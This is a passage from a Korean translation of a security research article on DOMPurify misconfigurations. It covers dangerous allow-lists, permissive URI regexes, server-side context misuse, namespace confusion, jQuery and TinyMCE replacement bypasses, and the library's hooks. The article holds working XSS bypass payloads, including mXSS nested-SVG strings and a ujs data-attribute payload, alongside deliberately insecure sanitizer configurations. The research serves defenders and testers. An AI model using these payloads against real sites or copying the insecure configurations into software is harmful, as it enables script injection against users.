https://mizu.re/post/exploring-the-dompurify-library-hunting-for-misconfigurations
Exploring the DOMPurify library: Hunting for Misconfigurations (2/2). Tags:Article - Article - Web - mXSS
Exploring the DOMPurify library: Hunting for Misconfigurations (2/2) This article is the last of a two-article series focusing on DOMPurify security. In the previous article, we ended with the statement: "the library's security now relies heavily on a sing
mizu.re
📜 소개
이 글은 DOMPurify 보안을 다룬 2부작 시리즈의 마지막 기사입니다. 이전 기사에서는 "이 라이브러리의 보안은 이제 단일 정규식에 크게 의존하게 되었다"는 문장으로 마무리했습니다. 이로 인해 DOMPurify의 특정 설정에서는 최신 버전에서도 완전한 우회를 초래할 수 있는 보호 수준 저하가 발생할 수 있습니다. 이 글의 목적은 현재 @cure53berlin이 직면하고 있는 과제들을 설명하고, 이러한 강력한 접근 방식이 효과적임에도 불구하고 어떤 한계를 가지고 있는지를 보여주는 것입니다. 이 기사에 나오는 모든 예시는 작성 시점의 최신 버전(3.2.4)을 사용합니다.
🎓 DOMPurify 잘못된 설정 101
소개
DOMPurify의 설정에 따라 정화(sanitization) 보호 수준이 저하될 수 있다는 것은 새로운 일이 아닙니다. 이로 인해 소규모의 정화 수준 저하가 발생할 수도 있고, 최악의 경우에는 완전한 정화 우회가 발생할 수도 있습니다. 보안 연구자로서 DOMPurify의 잘못된 설정을 찾고 싶다면, 가장 좋은 방법은 다음과 같습니다:
- 모든 컴파일된 JS 파일에서 <!--> 또는 \x3c!--\x3e 문자열을 검색합니다. 이는 sanitize 함수의 시작 부분에서 사용됩니다 (참조).
- sanitize 함수의 시작 부분에 로그 포인트나 브레이크포인트를 추가합니다.
- 정화가 필요한 오염된 문자열(dirty string)과 적용된 설정(configuration)을 모두 포함하는 arguments 변수를 추출합니다.

DOMPurify 버전을 찾고 싶다면 this.version을 로그로 출력하거나 .isSupported를 검색해볼 수도 있습니다! 각 DOMPurify.sanitize 호출마다 설정이 다를 수 있다는 점을 명심하는 것이 중요합니다. 즉, 어떤 호출은 안전할 수 있지만, 다음 호출은 그렇지 않을 수 있습니다. 이를 바탕으로 다음 하위 섹션들에서는 위험한 우회를 초래할 수 있는 다양한 종류의 잘못된 설정에 집중하여 설명하겠습니다.
위험한 허용 목록 (Dangerous allow-lists)
가능한 모든 설정 중에서, DOMPurify가 허용해야 할 내용을 직접적으로 제어하는 설정들이 있습니다. 당연하게도, 이 설정 방식에 따라 정화(sanitizer)의 기능이 깨질 수 있습니다. 예를 들어, 개발자가 위험한 태그를 명시적으로 허용(opt-in)하면, 최신 버전의 DOMPurify에서도 우회가 가능해질 수 있습니다.
- ALLOWED_TAGS (기본값 | 사용 방식): 기본 ALLOWED_TAGS 값을 덮어씁니다.
- ALLOWED_ATTR (기본값 | 사용 방식): 기본 ALLOWED_ATTR 값을 덮어씁니다.
- ADD_TAGS (사용 방식): 기존 ALLOWED_TAGS 값에 태그를 추가합니다.
- ADD_ATTR (사용 방식): 기존 ALLOWED_ATTR 값에 속성을 추가합니다.
{
ALLOWED_TAGS: [ "script" ],
ADD_TAGS: [ "noscript" ],
ALLOWED_ATTR: [ "onload" ],
ADD_ATTR: [ "onerror" ]
}
그림 2: ALLOWED_TAGS, ADD_TAGS, ALLOWED_ATTR, ADD_ATTR 설정 옵션을 잘못 사용한 예시
개발자라면, 어떤 태그나 속성을 허용할지 확신이 없다면 USE_PROFILES: { html: true } 설정을 사용하는 것이 좋은 출발점이 될 수 있습니다! 중요하게 기억해야 할 점은, 모든 속성이 금지되어 있어도 다음 두 설정 플래그가 false로 설정되지 않는 한 data- 및 aria- 속성은 계속 허용된다는 것입니다.
- ALLOW_DATA_ATTR (기본값 = true | 사용 방식): data- 속성 사용을 허용합니다.
- ALLOW_ARIA_ATTR (기본값 = true | 사용 방식): aria- 속성 사용을 허용합니다.
{
"ALLOWED_ATTR": []
}
그림 3: ALLOWED_ATTR 옵션이 비어 있음에도 불구하고 data- 및 aria- 속성이 DOMPurify 출력에 포함된 예시
예를 들어, 사이트에 ujs가 존재할 경우, 아래의 스니펫처럼 단 한 번의 클릭으로 XSS가 가능해지는 상황에서 이 동작은 매우 치명적일 수 있습니다: (gitlab #213273 | gitlab #336138)
<a data-remote="true" data-method="get" data-type="script" href="evil.js">XSS</a>
그림 4: data- 속성을 이용한 ujs XSS 페이로드 예시
또 다른 중요한 점은, 기본 설정 상태에서도 DOMPurify는 <style> 태그와 <form> 태그의 사용을 허용한다는 것입니다.
- <style> 태그는 CSS 데이터 탈취(CSS exfiltration) 에 악용될 수 있고,
- <form> 태그는 CSRF 공격을 수행하는 데 사용될 수 있습니다!
🔥 위험한 URI 속성 설정 (Dangerous URI attributes configuration)
앞서 언급한 옵션들 외에도, "URI" 속성들의 처리 방식을 설정할 수 있는 옵션들이 존재합니다. 이 설정들 중 일부는 정화(sanitization)를 완전히 우회할 수 있는 취약점을 야기할 수 있습니다.
- ALLOWED_URI_REGEXP (기본값 | 사용 방식):
허용된 URI의 정규표현식을 덮어쓰기 위해 사용됩니다.
다른 정규식 검사와 마찬가지로, 이 값을 너무 관대하게(permissive) 설정하면 사용자가 javascript: 스킴을 삽입할 수 있게 되어 정화가 우회될 수 있습니다.
{
"ALLOWED_URI_REGEXP": /https:\/\/mizu.re/
}
그림 5: 지나치게 관대한 ALLOWED_URI_REGEXP 정규식 설정 예시
- ADD_URI_SAFE_ATTR (사용 방식): 특정 유형의 URI 속성이 정화되지 않도록 허용 목록에 추가하는 것을 목적으로 합니다.
{
"ADD_URI_SAFE_ATTR": ["href"]
}
그림 6: ADD_URI_SAFE_ATTR 옵션의 위험한 사용 예시
잘못된 사용 | 부족한 컨텍스트 (Bad usage | Not enough context)
DOMPurify에 전달되는 옵션 객체 기반의 잘못된 설정들 중에서, 그 사용 방식 자체도 매우 중요합니다. 이것은 직접적으로 "잘못된 설정(misconfiguration)"은 아닐 수 있지만, 여전히 라이브러리의 효과성에 영향을 줄 수 있습니다. 이러한 유형의 가장 잘 알려진 문제는 아마도 서버 사이드 환경에서 정화를 수행하는 경우에 발생하는 컨텍스트 관련 문제일 것입니다.
const express = require("express");
const { JSDOM } = require("jsdom");
const DOMPurify = require("dompurify");
const app = express();
app.get("/sanitize", (req, res) => {
const dom = new JSDOM("");
const purify = DOMPurify(dom.window);
const cleanHTML = purify.sanitize(req.query.html);
res.send("<textarea>"+cleanHTML+"</textarea>");
});
app.listen(3000, () => {});
그림 7: 서버 사이드에서 DOMPurify를 부적절하게 사용한 예시
<textarea> 태그는 다음과 같은 태그들로 대체될 수 있습니다:
<iframe>, <noscript>, <style>, <xmp>, <noframes>, <script>, <noembed>, <title>
(단, DOMPurify 3.1.3부터는 새로운 정규식 검사로 인해 <style> 및 <title>은 더 이상 작동하지 않음)
위 예시에서는 DOMPurify가 해당 HTML이 어디에 사용될지 알지 못하기 때문에, 브라우저가 HTTP 응답 전체를 받아 페이지 전체를 파싱할 때, DOMPurify의 정화 컨텍스트 외부에서도 필터를 우회하는 것이 가능해집니다. 이런 상황에서는 다음과 같은 페이로드로 필터를 우회할 수 있습니다:
<div id="</textarea><img src=x onerror=alert()>"></div>
그림 8: 서버 사이드에서 DOMPurify를 부적절하게 사용했을 때 이를 우회하는 페이로드 예시
또 다른 예시로는, DOMPurify 3.1.2 이하 버전에서만 동작하는 경우가 있습니다. 이 경우는 DOMPurify가 정화에 사용하는 네임스페이스(namespace)와, 브라우저가 해당 HTML을 파싱할 때 사용하는 네임스페이스 간의 불일치와 관련이 있습니다.
<div id="data1"></div>
<div id="data2"></div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.1.2/purify.min.js"></script>
<script>
const params = new URLSearchParams(location.search);
const data = JSON.parse(params.get("data"));
document.getElementById("data1").innerHTML = DOMPurify.sanitize(data["data1"]);
document.getElementById("data2").innerHTML = DOMPurify.sanitize(data["data2"]);
</script>
그림 9: 클라이언트 측에서 DOMPurify ≤ 3.1.2를 부적절하게 사용한 예시
1년 전 이와 관련된 Twitter 챌린지를 만들었었습니다 → 출처
이 경우에는 data2 ID를 탈취하여 두 번째 출력이 SVG로 렌더링되도록 강제함으로써, 다음과 같은 페이로드를 사용해 네임스페이스 혼동(namespace confusion) 을 유도할 수 있습니다:
{"data1":"<svg id='data2'></svg>","data2":"x<style><!--</style><a id='--><title><img src=x onerror=alert()>'>"}
그림 10: 클라이언트 측에서 DOMPurify ≤ 3.1.2를 부적절하게 사용했을 때 이를 우회하는 페이로드 예시
잘못된 사용 | 출력 결과를 교체하는 경우
CVE-2020-11022 - jQuery ≤ 3.4.1 (@kinugawamasato 발견 👑)
@kinugawamasato가 처음 강조한 또 다른 "잘못된 사용" 사례는 jQuery의 CVE-2020-11022 (수정 링크)와 관련이 있습니다.
간단히 말해, jQuery 3.4.2 이전 버전(2020년 출시)에서는 .html() 메서드를 사용할 때 오염된 HTML 문자열을 정규화하면서, 예전 /> xHTML 표기법을 ></TAG> 형태로 바꾸었습니다. 이로 인해, 최근 버전의 DOMPurify를 예전 jQuery 라이브러리와 함께 사용할 경우를 대비해 DOMPurify 2.1.0에서는 이를 완화하는 핫픽스가 적용되었습니다 (참조 링크). 따라서, DOMPurify 3.0.0부터는 ALLOW_SELF_CLOSE_IN_ATTR라는 새로운 옵션 플래그가 추가되어, 개발자가 /> 속성 필터를 활성화할지 여부를 선택할 수 있게 되었습니다 (cf. #761). 해당 버전부터는 기본적으로 이 필터가 비활성화되어 (ALLOW_SELF_CLOSE_IN_ATTR=true), 오래된 jQuery 버전을 사용할 경우 jQuery + DOMPurify 우회가 다시 가능해질 수 있습니다.
<div id="a"></div>
<script src="https://code.jquery.com/jquery-3.4.1.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.3/purify.min.js"></script>
<script>
var n = 503;
var clean = DOMPurify.sanitize(`
${"<r>".repeat(n)}
<a>
<svg>
<desc>
<svg>
<image>
<a>
<desc>
<svg>
<image></image>
</svg>
</desc>
</a>
</image>
<style><a id="><style/><img src=x onerror=alert(1)>"></a></style>
</svg>
</desc>
</svg>
</a>
`);
$("#a").html(clean);
</script>
그림 11: jQuery ≤ 3.4.1과 DOMPurify 3.2.4를 함께 사용할 때 발생하는 우회 예시
CVE-2023-48219 - TinyMCE < 6.7.3 (@kinugawamasato 발견 👑)
이 문제 또한 @kinugawamasato에 의해 발견되었으며, DOMPurify 정화 이후에 발생하는 null로의 치환과 관련이 있습니다. 자세한 내용은 여기에서 확인할 수 있으며, 간단히 말해 다음과 같습니다:
var clean = DOMPurify.sanitize("x<style><\uFEFF/style><\uFEFFimg src=x onerror=alert()></style>");
clean = clean.replaceAll("\uFEFF", "");
console.log(clean); // x<style></style><img src=x onerror=alert()></style>
그림 12: DOMPurify 출력에서 문자열 치환으로 인해 발생한 우회 예시
이러한 유형의 문제에서 더욱 흥미로운 점은, 치환이 DOMPurify 이전이나 이후에 이루어지더라도, DOMParser()를 통한 HTML 파싱 중에 텍스트 노드 외부에서 엔티티가 디코딩된다는 점을 악용할 수 있다는 것입니다.
var n = 503;
var dirty = `
${"<r>".repeat(n)}
<a>
<svg>
<desc>
<svg>
<image>
<a>
<desc>
<svg>
<image></image>
</svg>
</desc>
</a>
</image>
<style><a id="</style><img src=x onerror=alert(1)>"></a></style>
</svg>
</desc>
</svg>
</a>
</form>
`;
dirty = dirty.replaceAll("\uFEFF", "");
var clean = DOMPurify.sanitize(dirty)
clean = clean.replaceAll("\uFEFF", "");
document.body.innerHTML = clean;
그림 13: DOMPurify 전후의 문자열 치환으로 인해 발생한 우회 예시
<자기 홍보>
이러한 유형의 문제를 자동으로 탐지하는 방법은 GreHack 2024 워크숍의 "Bypass HTML Sanitizer 2" 실습에서 DOMLogger++를 통해 배울 수 있습니다.
</자기 홍보>
기타 예시들...
이 글의 목적은 지금까지 발견된 모든 사례를 나열하는 것이 아니므로, 아래에는 특정 DOMPurify 오용에 대한 우회 기법들을 다룬 흥미로운 연구들을 일부 소개합니다:
또 놓친 훌륭한 사례들이 있을 수 있습니다. 미리 죄송합니다! 당신의 글이 목록에 추가되길 원한다면, 트위터에서 저를 멘션해주세요 ;D
🪝 DOMPurify 훅 (Hooks)
소개
지금까지 다양한 종류의 잘못된 설정 사례를 살펴보았으니, 이번에는 **훅(Hooks)**에 집중해보겠습니다. 훅은 DOMPurify 3.1.3 버전에서 정규식 기반 구현이 도입된 이후로 매우 흥미로운 공격 벡터가 되었습니다. 간단히 말해, 훅은 특정 실행 지점에서 사용자 정의 코드를 삽입할 수 있도록 하는 기능입니다. DOMPurify는 DOMPurify.addHook 메서드를 통해 정의할 수 있는 9가지 종류의 훅을 제공합니다.
| Hook name | Params | Description |
| beforeSanitizeElements | currentNode | Executed at the begining of the _sanitizeElements function. |
| uponSanitizeElement | currentNode | Executed at the begining of the _sanitizeElements function right after the DOM Clobbering checks. |
| afterSanitizeElements | currentNode | Executed at the end of the _sanitizeElements function. |
| beforeSanitizeAttributes | currentNode | Executed at the begining of the _sanitizeAttributes function. |
| uponSanitizeAttribute | currentNode, {attrName, attrValue, keepAttr, forceKeepAttr} | Executed in the _sanitizeAttributes function each time a new attribute sanitization begin. |
| afterSanitizeAttributes | currentNode | Executed at the end of the _sanitizeAttributes function. |
| beforeSanitizeShadowDOM | fragment | Executed at the begining of the _sanitizeShadowDOM function. |
| uponSanitizeShadowNode | shadowNode | Executed in the _sanitizeShadowDOM function before the _sanitizeElements call. |
| afterSanitizeShadowDOM | fragment | Executed at the end of the _sanitizeShadowDOM function. |
그림 14: 사용 가능한 DOMPurify 훅(Hook)의 전체 목록

다음은 훅(Hook)이 어떻게 사용될 수 있는지 보여주는 간단한 예시입니다:
'모의해킹 리서치' 카테고리의 다른 글
| HQL Injection을 사용한 CVE 보고서 번역본 (0) | 2025.11.13 |
|---|---|
| SQL Injection 리서치 : preparedStatement의 한계 (0) | 2025.11.11 |
| (한글번역) Exploring the DOMPurify library : Bypasses and Fixes [ 2 ] (3) | 2025.07.23 |
| (한글번역) Exploring the DOMPurify library : Bypasses and Fixes [ 1 ] (0) | 2025.07.15 |
| (한글번역) DoubleClickjacking : A New Era of UI Redressing (0) | 2025.07.06 |